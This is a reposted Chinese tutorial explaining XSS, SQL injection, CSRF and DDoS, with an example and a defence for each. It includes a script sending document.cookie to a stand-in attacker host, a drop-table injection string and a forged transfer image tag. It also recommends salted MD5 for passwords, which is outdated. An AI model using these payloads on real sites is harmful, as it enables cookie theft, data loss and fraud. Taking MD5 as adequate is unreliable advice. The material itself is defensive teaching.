总结几种常见web攻击手段及其防御方式

本文简单介绍几种常见的攻击手段及其防御方式

  • XSS(跨站脚本攻击)
  • CSRF(跨站请求伪造)
  • SQL注入
  • DDOS

web安全系列目录

XSS

概念

  • 全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序。

案列

  • 比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的 <script>window.open(“www.gongji.com?param=”+document.cookie)</script>,如果我没有对他的内容进行处理,直接存储到数据库,那么下一次当其他用户访问他的这篇文章的时候,服务器从数据库读取后然后响应给客户端,浏览器执行了这段脚本,然后就把该用户的cookie发送到攻击者的服务器了。

被攻击的原因

  • 用户输入的数据变成了代码,比如说上面的<script>,应该只是字符串却有了代码的作用。

预防

  • 将输入的数据进行转义处理,比如说讲 < 转义成&lt;

SQL注入

概念

  • 通过sql命令伪装成正常的http请求参数,传递到服务器端,服务器执行sql命令造成对数据库进行攻击

案例

  • ‘ or ‘1‘= ‘1。这是最常见的sql注入攻击,当我们输如用户名 jiajun ,然后密码输如‘or ‘1‘= ‘1的时候,我们在查询用户名和密码是否正确的时候,本来要执行的是select * from user where username=‘‘ and password=‘‘,经过参数拼接后,会执行sql语句 select * from user where username=‘jaijun‘ and password=‘ ‘ or ‘ 1‘=‘1 ‘,这个时候1=1是成立,自然就跳过验证了。
  • 但是如果再严重一点,密码输如的是‘;drop table user;--,那么sql命令为select * from user where username=‘jiajun‘ and password=‘‘;drop table user;--‘ 这个时候我们就直接把这个表给删除了

被攻击的原因

  • sql语句伪造参数,然后在对参数进行拼接的后形成破坏性的sql语句,最后导致数据库受到攻击

预防

  • 在java中,我们可以使用预编译语句(PreparedStatement),这样的话即使我们使用sql语句伪造成参数,到了服务端的时候,这个伪造sql语句的参数也只是简单的字符,并不能起到攻击的作用。
  • 很多orm框架已经可以对参数进行转义
  • 做最坏的打算,即使被’拖库‘(‘脱裤,数据库泄露‘)。数据库中密码不应明文存储的,可以对密码使用md5进行加密,为了加大破解成本,所以可以采用加盐的(数据库存储用户名,盐(随机字符长),md5后的密文)方式。

CSRF

概念

  • 全称是跨站请求伪造(cross site request forgery),指通过伪装成受信任用户的进行访问,通俗的讲就是说我访问了A网站,然后cookie存在了浏览器,然后我又访问了一个流氓网站,不小心点了流氓网站一个链接(向A发送请求),这个时候流氓网站利用了我的身份对A进行了访问。

案列

  • 这个例子可能现实中不会存在,但是攻击的方式是一样的。比如说我登录了A银行网站,然后我又访问了室友给的一个流氓网站,然后点了里面的一个链接 www.A.com/transfer?account=666&money=10000,那么这个时候很可能我就向账号为666的人转了1w软妹币
  • 注意这个攻击方式不一定是我点了这个链接,也可以是这个网站里面一些资源请求指向了这个转账链接,比如说一个<img src="http://www.A.com/transfer?account=666&money=10000">

被攻击的原因

  • 用户本地存储cookie,攻击者利用用户的cookie进行认证,然后伪造用户发出请求

预防

  • 之所以被攻击是因为攻击者利用了存储在浏览器用于用户认证的cookie,那么如果我们不用cookie来验证不就可以预防了。所以我们可以采用token(不存储于浏览器)认证。
  • 通过referer识别,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。那么这样的话,我们必须登录银行A网站才能进行转账了。

DDOS

概念

  • 分布式拒绝服务攻击(Distributed Denial of Service),简单说就是发送大量请求是使服务器瘫痪。DDos攻击是在DOS攻击基础上的,可以通俗理解,dos是单挑,而ddos是群殴,因为现代技术的发展,dos攻击的杀伤力降低,所以出现了DDOS,攻击者借助公共网络,将大数量的计算机设备联合起来,向一个或多个目标进行攻击。

案例

  • SYN Flood ,简单说一下tcp三次握手,客户端先服务器发出请求,请求建立连接,然后服务器返回一个报文,表明请求以被接受,然后客户端也会返回一个报文,最后建立连接。那么如果有这么一种情况,攻击者伪造ip地址,发出报文给服务器请求连接,这个时候服务器接受到了,根据tcp三次握手的规则,服务器也要回应一个报文,可是这个ip是伪造的,报文回应给谁呢,第二次握手出现错误,第三次自然也就不能顺利进行了,这个时候服务器收不到第三次握手时客户端发出的报文,又再重复第二次握手的操作。如果攻击者伪造了大量的ip地址并发出请求,这个时候服务器将维护一个非常大的半连接等待列表,占用了大量的资源,最后服务器瘫痪。
  • CC攻击,在应用层http协议上发起攻击,模拟正常用户发送大量请求直到该网站拒绝服务为止。

被攻击的原因

  • 服务器带宽不足,不能挡住攻击者的攻击流量

预防

  • 最直接的方法增加带宽。但是攻击者用各地的电脑进行攻击,他的带宽不会耗费很多钱,但对于服务器来说,带宽非常昂贵。
  • 云服务提供商有自己的一套完整DDoS解决方案,并且能提供丰富的带宽资源

总结

  • 上面一共提到了4中攻击方式,分别是xss攻击(关键是脚本,利用恶意脚本发起攻击),CSRF攻击(关键是借助本地cookie进行认证,伪造发送请求),SQL注入(关键是通过用sql语句伪造参数发出攻击),DDOS攻击(关键是通过手段发出大量请求,最后令服务器崩溃)
  • 之所以攻击者能成功攻击,用户操作是一个原因,服务器端没有做好防御是一个问题,因为无法控制用户的操作,所以需要我们服务器端的开发做好防御。
  • 没有觉得绝对安全,只要更安全。

转自: http://www.cnblogs.com/-new/p/7135814.html

时间: 2024-11-10 07:58:10

总结几种常见web攻击手段及其防御方式的相关文章

总结几种常见web攻击手段极其防御方式

本文简单介绍几种常见的攻击手段及其防御方式 XSS(跨站脚本攻击) CSRF(跨站请求伪造) SQL注入 总结几种常见web攻击手段极其防御方式 XSS 概念 全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序. 案列 比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的 <script>window.open("www.gongji.com?param="+document.cookie)</scrip

常见的web攻击手段

XSS:跨站脚本攻击 -典型实例为: 当用户在表达输入一段数据后,提交给服务端进行持久化.如果此用户输入的是一段脚本语言,而服务端 用户输入的数据没有经过转码.校验等就存入了数据库,在其他页面需要展示此数据时,就会执行此用户输入的语言.简单来说,JS的强大不用我来解释吧 -推荐防御措施: 对用户输入的信息进行转义,例如<>'等等特殊字符.当然,其实很多前端框架也支持这么做,快查一查你使用的框架支持么. CRSF:跨站请求伪造 -典型实例为: 如果A银行存在CRSF漏洞,有用户在登陆完A银行后没

Tomcat Jboss Glassfish 三种常见web容器比较

https://i.cnblogs.com/EditPosts.aspx?postid=7596859 Tomcat Jboss Glassfish 三种常见web容器比较<br>一.缘由: 新公司平台是纯Java架构,有用到Java Web(JSP).Java 业务(EJB).Nginx..Websphere MQ.Mysql这样.大家知道java是跑在容器里的, 这里的业务要用到EJB故选用了Glassfish容器. EJB是什么?EJB是一个服务器端的组件模型,可以部署分布式应用程序.J

网站常见的入侵手段和防御方法

网站入侵技术大概有以下几种: 1.上传入侵上传入侵便是通过上传文件来获得权限,针对有上传文件权限的网站实施,好比论坛可以上传附件.资讯站可以投稿上传图片,这些都可能为上传木马提供便利,上传木马以后,很多信息都会轻松暴露出来的.这个漏洞在网站源码中比较常见,被黑客们利用的最为猖獗,利用上传漏洞可以直接得到WEBSHELL,危害等级超级高. 防御方法:第三方开源代码要及时升级官方提供的程序补丁:注意对上传的文件进行限制,例如限制文件类型.文件尺寸等,同时要对上传文件以后存储的文件夹进行权限限制,好比

什么是网络流量劫持?揭秘详解黑客劫持的攻击手段与防御方法

流量劫持是一种古老的网络攻击手段,在沉寂了一大段时间后,最近又开始闹的沸沸扬扬.众多知名品牌的路由器相继爆出存在安全漏洞,引来国内媒体纷纷报道.只要用户没改默认密码,打开一个网页甚至帖子,路由器配置就会被暗中修改,互联网一夜间似乎变得岌岌可危. 攻击还是那几种攻击,报道仍是那千篇一律的砖家安全提醒,以至于大家都麻木了.早已见惯运营商的各种劫持,频繁的广告弹窗,大家也无可奈何.这么多年也没出现过什么损失,也就睁只眼闭只眼. 事实上,仅仅被运营商劫持算是比较幸运了.相比隐匿在暗中的神秘黑客,运营商作

常见web攻击以及防御

xss攻击: 跨站脚本攻击,攻击者在网页中嵌入恶意代码,当用户打开网页,脚本程序便开始在客户端的浏览器上执行,以盗取客户端cookie,用户名密码,下载执行病毒木马程序,甚至是获取客户端admin权限等. 原理就是用户输入的时候,输入一些可执行代码,例如<input name="username" value="<script>alert('haha')</script>" /> xss之所以会发生,是因为用户输入的数据变成了代码

web服务器与应用服务器(以及几种常见web服务器的比较)

开门见山,震慑读者: web服务器是应用服务器的子集. 1.WEB服务器: 理解WEB服务器,首先你要理解什么是WEB?WEB你可以简单理解为你所看到的HTML页面就是WEB的数据元素,处理这些数据元素的应用软件就叫WEB服务器,如IIS.apache. WEB服务器与客户端打交道,它要处理的主要信息有:session.request.response.HTML.JS.CS等. 2.应用服务器: 应用服务器如JSP,处理的是非常规性WEB页面(JSP文件),他动态生成WEB页面,生成的WEB页面

第四节课:几种常见的攻击方式

1.中间人攻击  局域网ARP攻击 受害者经过攻击者向网关发送数据.当主机A.和主机B通信时,都由主机C来为其"转发",如图一,而A.B之间并没有真正意思上的直接通信,他们之间的信息传递同C作为中介来完成,但是A.B却不会意识到,而以为它们之间是在直接通信.这样攻击主机在中间成为了一个转发器,C可以不仅窃听A.B的通信还可以对信息进行篡改再传给对方,C便可以将恶意信息传递给A.B以达到自己的目的. 2.ARP  16字节包头:6原Mac  6目的Mac 2:帧类型 3.s->se

【转】WEB网站常见受攻击方式及解决办法

一个网站建立以后,如果不注意安全方面的问题,很容易被人攻击,下面就讨论一下几种漏洞情况和防止攻击的办法. 一.跨站脚本攻击(XSS) 跨站脚本攻击(XSS,Cross-site scripting)是最常见和基本的攻击WEB网站的方法.攻击者在网页上发布包含攻击性代码的数据.当浏览者看到此网页时,特定的脚本就会以浏览者用户的身份和权限来执行.通过XSS可以比较容易地修改用户数据.窃取用户信息,以及造成其它类型的攻击,例如CSRF攻击 常见解决办法:确保输出到HTML页面的数据以HTML的方式被转